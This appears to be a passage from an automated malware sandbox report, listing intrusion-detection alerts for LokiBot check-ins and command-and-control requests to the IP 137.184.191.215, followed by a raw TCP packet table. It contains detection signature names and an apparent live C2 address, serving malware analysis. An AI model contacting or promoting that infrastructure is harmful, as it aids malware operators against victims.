2024-10-02T07:19:33.225029+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59091	137.184.191.215	80	TCP
2024-10-02T07:19:33.393218+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59092	137.184.191.215	80	TCP
2024-10-02T07:19:33.393218+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59092	137.184.191.215	80	TCP
2024-10-02T07:19:36.057069+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59092	137.184.191.215	80	TCP
2024-10-02T07:19:36.057069+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59092	137.184.191.215	80	TCP
2024-10-02T07:19:36.220072+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59093	137.184.191.215	80	TCP
2024-10-02T07:19:36.220072+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59093	137.184.191.215	80	TCP
2024-10-02T07:19:38.828485+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59093	137.184.191.215	80	TCP
2024-10-02T07:19:38.828485+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59093	137.184.191.215	80	TCP
2024-10-02T07:19:38.975579+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59094	137.184.191.215	80	TCP
2024-10-02T07:19:38.975579+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59094	137.184.191.215	80	TCP
2024-10-02T07:19:41.576277+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59094	137.184.191.215	80	TCP
2024-10-02T07:19:41.576277+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59094	137.184.191.215	80	TCP
2024-10-02T07:19:41.723886+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59095	137.184.191.215	80	TCP
2024-10-02T07:19:41.723886+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59095	137.184.191.215	80	TCP
2024-10-02T07:19:44.444483+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59095	137.184.191.215	80	TCP
2024-10-02T07:19:44.444483+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59095	137.184.191.215	80	TCP
2024-10-02T07:19:44.604525+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59096	137.184.191.215	80	TCP
2024-10-02T07:19:44.604525+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59096	137.184.191.215	80	TCP
2024-10-02T07:19:47.324761+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59096	137.184.191.215	80	TCP
2024-10-02T07:19:47.324761+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59096	137.184.191.215	80	TCP
2024-10-02T07:19:47.483919+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59097	137.184.191.215	80	TCP
2024-10-02T07:19:47.483919+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59097	137.184.191.215	80	TCP
2024-10-02T07:19:49.999462+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59097	137.184.191.215	80	TCP
2024-10-02T07:19:49.999462+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59097	137.184.191.215	80	TCP
2024-10-02T07:19:50.178821+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59098	137.184.191.215	80	TCP
2024-10-02T07:19:50.178821+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59098	137.184.191.215	80	TCP
2024-10-02T07:19:53.439974+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59098	137.184.191.215	80	TCP
2024-10-02T07:19:53.439974+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59098	137.184.191.215	80	TCP
2024-10-02T07:19:53.593930+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59099	137.184.191.215	80	TCP
2024-10-02T07:19:53.593930+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59099	137.184.191.215	80	TCP
2024-10-02T07:19:56.226080+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59099	137.184.191.215	80	TCP
2024-10-02T07:19:56.226080+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59099	137.184.191.215	80	TCP
2024-10-02T07:19:56.379219+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59100	137.184.191.215	80	TCP
2024-10-02T07:19:56.379219+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59100	137.184.191.215	80	TCP
2024-10-02T07:19:59.055098+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59100	137.184.191.215	80	TCP
2024-10-02T07:19:59.055098+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59100	137.184.191.215	80	TCP
2024-10-02T07:19:59.214834+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59101	137.184.191.215	80	TCP
2024-10-02T07:19:59.214834+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59101	137.184.191.215	80	TCP
2024-10-02T07:20:01.880033+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59101	137.184.191.215	80	TCP
2024-10-02T07:20:01.880033+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59101	137.184.191.215	80	TCP
2024-10-02T07:20:02.286811+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59102	137.184.191.215	80	TCP
2024-10-02T07:20:02.286811+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59102	137.184.191.215	80	TCP
2024-10-02T07:20:04.967633+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59102	137.184.191.215	80	TCP
2024-10-02T07:20:04.967633+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59102	137.184.191.215	80	TCP
2024-10-02T07:20:05.122471+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59103	137.184.191.215	80	TCP
2024-10-02T07:20:05.122471+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59103	137.184.191.215	80	TCP
2024-10-02T07:20:07.737466+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59103	137.184.191.215	80	TCP
2024-10-02T07:20:07.737466+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59103	137.184.191.215	80	TCP
2024-10-02T07:20:07.886272+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59104	137.184.191.215	80	TCP
2024-10-02T07:20:07.886272+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59104	137.184.191.215	80	TCP
2024-10-02T07:20:10.515443+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59104	137.184.191.215	80	TCP
2024-10-02T07:20:10.515443+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59104	137.184.191.215	80	TCP
2024-10-02T07:20:10.665251+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59105	137.184.191.215	80	TCP
2024-10-02T07:20:10.665251+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59105	137.184.191.215	80	TCP
2024-10-02T07:20:13.220159+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59105	137.184.191.215	80	TCP
2024-10-02T07:20:13.220159+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59105	137.184.191.215	80	TCP
2024-10-02T07:20:13.365954+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59106	137.184.191.215	80	TCP
2024-10-02T07:20:13.365954+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59106	137.184.191.215	80	TCP
2024-10-02T07:20:16.036940+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59106	137.184.191.215	80	TCP
2024-10-02T07:20:16.036940+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59106	137.184.191.215	80	TCP
2024-10-02T07:20:16.194835+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59107	137.184.191.215	80	TCP
2024-10-02T07:20:16.194835+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59107	137.184.191.215	80	TCP
2024-10-02T07:20:19.692535+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59107	137.184.191.215	80	TCP
2024-10-02T07:20:19.692535+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59107	137.184.191.215	80	TCP
2024-10-02T07:20:19.864465+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59108	137.184.191.215	80	TCP
2024-10-02T07:20:19.864465+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59108	137.184.191.215	80	TCP
2024-10-02T07:20:22.539182+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59108	137.184.191.215	80	TCP
2024-10-02T07:20:22.539182+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59108	137.184.191.215	80	TCP
2024-10-02T07:20:22.698157+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59109	137.184.191.215	80	TCP
2024-10-02T07:20:22.698157+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59109	137.184.191.215	80	TCP
2024-10-02T07:20:25.272631+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59109	137.184.191.215	80	TCP
2024-10-02T07:20:25.272631+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59109	137.184.191.215	80	TCP
2024-10-02T07:20:25.433688+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	59110	137.184.191.215	80	TCP
2024-10-02T07:20:25.433688+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	59110	137.184.191.215	80	TCP
2024-10-02T07:20:28.121264+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	59110	137.184.191.215	80	TCP
2024-10-02T07:20:28.121264+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	59110	137.184.191.215	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 07:18:22.790081978 CEST	49730	443	192.168.2.4	172.217.18.14
Oct 2, 2024 07:18:22.790107965 CEST	443	49730	172.217.18.14	192.168.2.4
Oct 2, 2024 07:18:22.790254116 CEST	49730	443	192.168.2.4	172.217.18.14
Oct 2, 2024 07:18:22.803018093 CEST	49730	443	192.168.2.4	172.217.18.14
Oct 2, 2024 07:18:22.803025961 CEST	443	49730	172.217.18.14	192.168.2.4
Oct 2, 2024 07:18:24.363131046 CEST	443	49730	172.217.18.14	192.168.2.4
Oct 2, 2024 07:18:24.363303900 CEST	49730	443	192.168.2.4	172.217.18.14
Oct 2, 2024 07:18:24.364070892 CEST	443	49730	172.217.18.14	192.168.2.4
Oct 2, 2024 07:18:24.364135027 CEST	49730	443	192.168.2.4	172.217.18.14
Oct 2, 2024 07:18:24.367388964 CEST	49730	443	192.168.2.4	172.217.18.14
Oct 2, 2024 07:18:24.367393017 CEST	443	49730	172.217.18.14	192.168.2.4
Oct 2, 2024 07:18:24.367616892 CEST	443	49730	172.217.18.14	192.168.2.4
Oct 2, 2024 07:18:24.377949953 CEST	49730	443	192.168.2.4	172.217.18.14
Oct 2, 2024 07:18:24.419445992 CEST	443	49730	172.217.18.14	192.168.2.4
Oct 2, 2024 07:18:24.750732899 CEST	443	49730	172.217.18.14	192.168.2.4
Oct 2, 2024 07:18:24.751638889 CEST	443	49730	172.217.18.14	192.168.2.4
Oct 2, 2024 07:18:24.751693964 CEST	49730	443	192.168.2.4	172.217.18.14
Oct 2, 2024 07:18:24.755615950 CEST	49730	443	192.168.2.4	172.217.18.14
Oct 2, 2024 07:18:29.014259100 CEST	49731	443	192.168.2.4	172.217.18.14
Oct 2, 2024 07:18:29.014314890 CEST	443	49731	172.217.18.14	192.168.2.4
Oct 2, 2024 07:18:29.014533043 CEST	49731	443	192.168.2.4	172.217.18.14
Oct 2, 2024 07:18:29.014651060 CEST	49731	443	192.168.2.4	172.217.18.14
Oct 2, 2024 07:18:29.014667988 CEST	443	49731	172.217.18.14	192.168.2.4
Oct 2, 2024 07:18:29.684412956 CEST	443	49731	172.217.18.14	192.168.2.4
Oct 2, 2024 07:18:29.687159061 CEST	49731	443	192.168.2.4	172.217.18.14
Oct 2, 2024 07:18:29.687190056 CEST	443	49731	172.217.18.14	192.168.2.4
Oct 2, 2024 07:18:30.075201988 CEST	443	49731	172.217.18.14	192.168.2.4
Oct 2, 2024 07:18:30.075853109 CEST	443	49731	172.217.18.14	192.168.2.4
Oct 2, 2024 07:18:30.075917006 CEST	49731	443	192.168.2.4	172.217.18.14
Oct 2, 2024 07:18:30.076302052 CEST	49731	443	192.168.2.4	172.217.18.14
Oct 2, 2024 07:18:30.077400923 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:30.077446938 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:30.077559948 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:30.077778101 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:30.077792883 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:30.732522011 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:30.732629061 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:30.735827923 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:30.735842943 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:30.736064911 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:30.736994982 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:30.779406071 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.739701033 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.739831924 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.745404005 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.745476007 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.758057117 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.758161068 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.758172035 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.764347076 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.764413118 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.764419079 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.808254957 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.829811096 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.830032110 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.830209970 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.830216885 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.834454060 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.834512949 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.834518909 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.839754105 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.839812994 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.839818001 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.844430923 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.844485998 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.844491005 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.847723007 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.847776890 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.847781897 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.854075909 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.854130983 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.854135990 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.860265017 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.860316992 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.860322952 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.866831064 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.866890907 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.866897106 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.872431993 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.872488976 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.872493982 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.878293037 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.878353119 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.878359079 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.884129047 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.884183884 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.884188890 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.897948980 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.898005962 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.898013115 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.920238018 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.920283079 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.920310020 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.920315981 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.920375109 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.920455933 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.925965071 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.926027060 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.926033020 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.930700064 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.930737972 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.930757999 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.930763960 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.930798054 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.930814981 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.930819035 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.930880070 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.930885077 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.935470104 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.935524940 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.935528994 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.936670065 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.936726093 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.936729908 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.941685915 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.941744089 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.941750050 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.946600914 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.946655989 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.946660995 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.951013088 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.951071024 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.951076031 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.955691099 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.955748081 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.955751896 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.960392952 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.960448980 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.960452080 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.964925051 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.964973927 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.964978933 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.969657898 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.969713926 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.969719887 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.974127054 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.974162102 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.974180937 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.974184990 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.974234104 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.978208065 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.978322029 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.978377104 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.978379965 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.982363939 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.982417107 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.982424021 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.986408949 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.986465931 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.986470938 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.990128994 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.990262032 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.990267992 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.994074106 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.994123936 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.994128942 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.997503042 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:33.997555971 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:33.997560978 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.001166105 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.001219034 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:34.001224041 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.010639906 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.010687113 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.010690928 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:34.010695934 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.010742903 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:34.010801077 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.011167049 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.011213064 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:34.011217117 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.012736082 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.012793064 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:34.012799025 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.014914989 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.014966965 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:34.014971972 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.016977072 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.017028093 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:34.017033100 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.019124031 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.019170046 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:34.019175053 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.021301031 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.021349907 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:34.021354914 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.023452044 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.023502111 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:34.023507118 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.025679111 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.025727034 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:34.025732994 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.027834892 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.027887106 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:34.027892113 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.029974937 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.030024052 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:34.030029058 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.032222986 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.032269955 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:34.032274008 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.034323931 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.034373999 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:34.034379959 CEST	443	49732	142.250.186.33	192.168.2.4
